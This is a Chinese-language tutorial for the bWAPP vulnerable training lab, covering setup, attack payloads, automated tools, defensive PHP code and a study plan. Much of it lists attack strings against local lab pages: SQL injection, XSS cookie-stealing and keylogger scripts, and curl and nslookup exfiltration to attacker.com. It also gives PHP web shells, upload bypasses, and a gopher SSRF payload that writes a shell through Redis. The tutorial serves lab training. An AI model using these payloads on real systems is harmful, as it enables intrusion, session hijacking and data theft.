bWAPP漏洞靶场实战教程
一、bWAPP概述
1.1 什么是bWAPP
bWAPP(Buggy Web Application)是一个集成了100+种Web漏洞的PHP/MySQL靶场,由安全专家Malik Mesellem开发。它专为Web安全学习、演示和测试设计,是极佳的教学工具。
1.2 核心特点
- 100+个漏洞场景:覆盖OWASP Top 10所有漏洞
- 多种难度级别:Low/Medium/High三个级别
- 真实环境:模拟实际Web应用
- 教育友好:包含Hints和解决方案
- 开源免费:基于GPLv3协议
二、环境搭建
2.1 虚拟机方式(推荐)
# 下载bWAPP虚拟机
# 官方下载:http://www.itsecgames.com/
# 或使用Bee-box(集成了bWAPP)
wget https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z
# 解压并使用VirtualBox/VMware导入
# 默认登录:
# URL: http://192.168.0.1/
# 账号: bee / bug
# 安全等级: 默认Medium
2.2 Docker部署
# 方法一:直接运行
docker run -d -p 80:80 raesene/bwapp
# 方法二:使用docker-compose
version: '3'
services:
bwapp:
image: raesene/bwapp
ports:
- "80:80"
environment:
- MYSQL_PASSWORD=bug
2.3 本地部署(XAMPP/WAMP)
# 1. 下载bWAPP源码
wget https://sourceforge.net/projects/bwapp/files/latest/download
# 2. 解压到htdocs目录
unzip bWAPP_latest.zip -d /opt/lampp/htdocs/bwapp/
# 3. 访问安装页面
http://localhost/bwapp/install.php
# 4. 配置数据库
数据库:localhost
用户名:root
密码:(空)
数据库名:bWAPP
# 5. 默认登录凭证
用户名:bee
密码:bug
三、界面导航与配置
3.1 首次使用设置
- 登录系统:使用bee/bug登录
- 选择漏洞类型:"Choose your bug"下拉菜单
- 设置安全级别:
- Low:无防护,用于学习原理
- Medium:基础防护,需简单绕过
- High:较强防护,需要高级技术
- 访问Hints:点击"Hints"获取漏洞提示
3.2 管理功能
-- 管理后台:http://[ip]/admin.php
-- 默认管理员:admin/bug
-- 查看用户表
SELECT * FROM users;
-- bee/bug(普通用户)
-- admin/bug(管理员)
-- smith/bug(测试用户)
四、核心漏洞实战
4.1 SQL注入漏洞家族
4.1.1 基于错误的注入(Error-Based)
Low级别:
-- 基础注入
' OR '1'='1
-- 获取数据
' UNION SELECT 1,2,3,4,5,6,7,8 --
-- 获取数据库信息
' UNION SELECT 1,database(),user(),version(),5,6,7,8 --
-- 获取表名
' UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() --
-- 获取列名
' UNION SELECT 1,column_name,3,4,5,6,7,8 FROM information_schema.columns WHERE table_name='users' --
-- 获取数据
' UNION SELECT 1,login,password,4,5,6,7,8 FROM users --
4.1.2 盲注(Blind SQLi)
-- 布尔盲注
' AND 1=1 --
' AND 1=2 --
-- 基于时间的盲注
' AND IF(1=1,SLEEP(5),0) --
' AND IF(SUBSTRING(database(),1,1)='b',SLEEP(5),0) --
-- 逐字符获取数据
' AND IF(ASCII(SUBSTRING((SELECT login FROM users LIMIT 0,1),1,1))=98,SLEEP(3),0) --
4.1.3 SQLi绕过技巧
-- 注释绕过
admin' --
admin' #
admin' /*
-- 编码绕过
' OR 1=1 -- URL编码
%27%20%4F%52%20%31%3D%31%20%2D%2D
-- 双写绕过(针对关键字过滤)
' UNUNIONION SELSELECTECT 1,2 --
-- 大小写绕过
' Or 1=1 --
' oR 1=1 --
-- 等价函数绕过
' OR TRUE --
' OR 1 --
4.2 XSS漏洞家族
4.2.1 反射型XSS
// 基础payload
<script>alert(document.domain)</script>
// 窃取Cookie
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
// 短payload
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
// DOM XSS
#<img src=x onerror=alert(1)>
javascript:alert(document.cookie)
4.2.2 存储型XSS
// 评论区注入
<script>alert('Stored XSS')</script>
// 窃取用户会话
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
// 键盘记录器
<script>
document.onkeypress = function(e) {
new Image().src = 'http://attacker.com/log?key=' + e.key;
}
</script>
4.2.3 XSS高级绕过
// 编码绕过
<IMG SRC=jAvascript:alert('test')>
// 事件处理器
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
// iframe注入
<iframe src="javascript:alert(document.domain)">
// SVG XSS
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
4.3 文件上传漏洞
4.3.1 基础绕过
# 修改扩展名绕过
shell.php.jpg
shell.php.png
shell.pHp
# 双扩展名
shell.php.jpg.php
# 空字节绕过(PHP<5.3.4)
shell.php%00.jpg
# .htaccess攻击
# 上传.htaccess文件:
AddType application/x-httpd-php .jpg
# 然后上传shell.jpg(实际是PHP文件)
4.3.2 Content-Type绕过
POST /bWAPP/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456
------WebKitFormBoundary123456
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg # 伪装成图片
<?php system($_GET['cmd']); ?>
4.3.3 文件内容绕过
# 使用图片马
# 创建包含PHP代码的图片
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
# GIF图片头绕过
GIF89a;
<?php system($_GET['cmd']); ?>
4.4 命令注入
4.4.1 基础注入
# 执行多条命令
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1; ls -la
# 命令替换
127.0.0.1 && $(cat /etc/passwd)
127.0.0.1 && `whoami`
4.4.2 盲注技术
# 基于时间的盲注
127.0.0.1 && sleep 5
127.0.0.1 && ping -c 5 127.0.0.1
# 带外数据外泄
127.0.0.1 && nslookup $(whoami).attacker.com
127.0.0.1 && curl http://attacker.com/$(cat /etc/passwd|base64)
4.4.3 绕过过滤
# 空格绕过
127.0.0.1&&{cat,/etc/passwd}
127.0.0.1;cat$IFS/etc/passwd
# 关键字绕过
127.0.0.1 && a=c;b=at;c=/etc/passwd;$a$b $c
127.0.0.1 && wh''oami
127.0.0.1 && who$(echo am)i
# 编码绕过
127.0.0.1 && `echo "d2hvYW1p" | base64 -d`
4.5 CSRF攻击
4.5.1 基础CSRF
<!-- 简单GET请求 -->
<img src="http://localhost/bWAPP/csrf_1.php?password_new=hacked&password_conf=hacked" width="0" height="0">
<!-- POST表单 -->
<form action="http://localhost/bWAPP/csrf_2.php" method="POST" id="csrf">
<input type="hidden" name="password_new" value="hacked">
<input type="hidden" name="password_conf" value="hacked">
</form>
<script>document.getElementById('csrf').submit()</script>
4.5.2 高级CSRF
<!-- JSON CSRF -->
<script>
fetch('http://localhost/bWAPP/rest-api/change-password', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({newPassword: 'hacked'})
})
</script>
<!-- 使用XHR -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://localhost/bWAPP/change-email', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('email=attacker@evil.com');
</script>
五、其他重要漏洞
5.1 文件包含
# 本地文件包含
http://localhost/bWAPP/fi.php?page=../../../etc/passwd
http://localhost/bWAPP/fi.php?page=php://filter/convert.base64-encode/resource=index.php
# 远程文件包含
http://localhost/bWAPP/fi.php?page=http://attacker.com/shell.txt
# 日志文件包含
http://localhost/bWAPP/fi.php?page=../../../var/log/apache2/access.log
# /proc文件包含
http://localhost/bWAPP/fi.php?page=../../../proc/self/environ
5.2 不安全的直接对象引用(IDOR)
# 水平越权
GET /bWAPP/idor_1.php?movie=1 # 自己的电影
GET /bWAPP/idor_1.php?movie=2 # 他人电影
# 垂直越权
GET /bWAPP/admin/users.php # 普通用户访问管理员页面
# 批量遍历
GET /bWAPP/idor_2.php?account=100
GET /bWAPP/idor_2.php?account=101
GET /bWAPP/idor_2.php?account=102
5.3 SSRF攻击
# 基础SSRF
http://localhost/bWAPP/ssrf.php?url=file:///etc/passwd
http://localhost/bWAPP/ssrf.php?url=http://169.254.169.254/latest/meta-data/
# 端口扫描
http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:22
http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:3306
# 协议处理
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
六、自动化工具实战
6.1 SQLMap
# 基础检测
sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=test&action=search" --cookie="PHPSESSID=xxx; security_level=0"
# 获取数据库
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --data="title=test&action=search" --cookie="PHPSESSID=xxx" --dbs
# 获取表
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --data="title=test&action=search" --cookie="PHPSESSID=xxx" -D bWAPP --tables
# 获取数据
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --data="title=test&action=search" --cookie="PHPSESSID=xxx" -D bWAPP -T users --dump
# 自动化测试
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --data="title=test&action=search" --cookie="PHPSESSID=xxx" --batch --level=5 --risk=3
6.2 XSStrike
# XSS自动化检测
python3 xsstrike.py -u "http://localhost/bWAPP/xss_get.php?name=test"
# 使用爬虫模式
python3 xsstrike.py -u "http://localhost/bWAPP" --crawl
# 暴力破解参数
python3 xsstrike.py -u "http://localhost/bWAPP/xss_get.php" --params "name"
6.3 Commix
# 命令注入自动化检测
python3 commix.py -u "http://localhost/bWAPP/commandi.php?target=127.0.0.1"
# 获取shell
python3 commix.py -u "http://localhost/bWAPP/commandi.php" --data="target=127.0.0.1" --os-shell
七、防御代码分析
7.1 SQL注入防护
// Low级别(无防护)
$sql = "SELECT * FROM movies WHERE title LIKE '%" . $_GET["title"] . "%'";
// Medium级别(mysql_real_escape_string)
$title = mysql_real_escape_string($_GET["title"]);
$sql = "SELECT * FROM movies WHERE title LIKE '%" . $title . "%'";
// High级别(预处理语句)
$stmt = $mysqli->prepare("SELECT * FROM movies WHERE title LIKE ?");
$search = "%" . $_GET["title"] . "%";
$stmt->bind_param("s", $search);
$stmt->execute();
7.2 XSS防护
// Low级别(无防护)
echo $_GET["name"];
// Medium级别(strip_tags)
echo strip_tags($_GET["name"]);
// High级别(htmlspecialchars)
echo htmlspecialchars($_GET["name"], ENT_QUOTES, "UTF-8");
// 额外防护:CSP头
header("Content-Security-Policy: default-src 'self'");
7.3 文件上传防护
// High级别防护
$allowed_types = array("image/jpeg", "image/png", "image/gif");
$max_size = 512000; // 500KB
$upload_dir = "uploads/";
// 检查文件类型
if (!in_array($_FILES["file"]["type"], $allowed_types)) {
die("Invalid file type!");
}
// 检查文件大小
if ($_FILES["file"]["size"] > $max_size) {
die("File too large!");
}
// 重命名文件
$extension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
$new_filename = md5(uniqid()) . "." . $extension;
// 移动文件
move_uploaded_file($_FILES["file"]["tmp_name"], $upload_dir . $new_filename);
八、实战演练计划
阶段1:基础漏洞(第1周)
- SQL注入(所有类型)
- XSS(反射型、存储型)
- 命令注入
- 文件上传
- 文件包含
阶段2:进阶漏洞(第2周)
- 盲注攻击
- CSRF攻击
- SSRF攻击
- IDOR漏洞
- XXE漏洞
阶段3:组合攻击(第3周)
- SQLi -> 获取数据库 -> 文件写入 -> WebShell
- XSS -> 窃取Cookie -> 会话劫持
- 文件上传 -> 命令执行 -> 权限提升
阶段4:防御绕过(第4周)
- WAF绕过技术
- 编码绕过
- 逻辑漏洞利用
- 自动化工具使用
九、学习资源
官方资源
- 官方网站:http://www.itsecgames.com/
- GitHub仓库:https://github.com/raesene/bWAPP
- 官方文档:http://www.itsecgames.com/download.htm
扩展学习
- DVWA:适合初学者的简单靶场
- WebGoat:OWASP官方教学靶场
- Juice Shop:现代Web应用靶场
- PentesterLab:专业渗透练习平台
工具推荐
- Burp Suite:Web渗透测试神器
- OWASP ZAP:开源Web应用扫描器
- SQLMap:SQL注入自动化工具
- XSSHunter:XSS漏洞利用平台
十、安全实践建议
10.1 测试环境配置
# 创建专用网络
docker network create bwapp-net
docker run -d --network bwapp-net --name bwapp raesene/bwapp
# 使用虚拟机快照
# 测试前创建快照,测试后恢复
10.2 合法授权
- 仅限本地测试:不要在生产环境测试
- 明确授权:获得明确书面授权
- 遵守法律:了解当地网络安全法规
- 道德约束:不为恶意目的使用技能
10.3 学习记录
# 漏洞测试记录模板
## 漏洞名称:
## 测试时间:
## 安全等级:
## 漏洞URL:
## 攻击Payload:
## 测试步骤:
## 防御措施:
## 学习心得:
通过bWAPP的系统学习,你将掌握100+种Web漏洞的利用和防御技术。建议按照漏洞类型逐步深入,每个漏洞都要尝试三个安全级别,理解不同防护措施的差异。理论与实践结合,才能真正提升Web安全能力!

704

被折叠的 条评论
为什么被折叠?



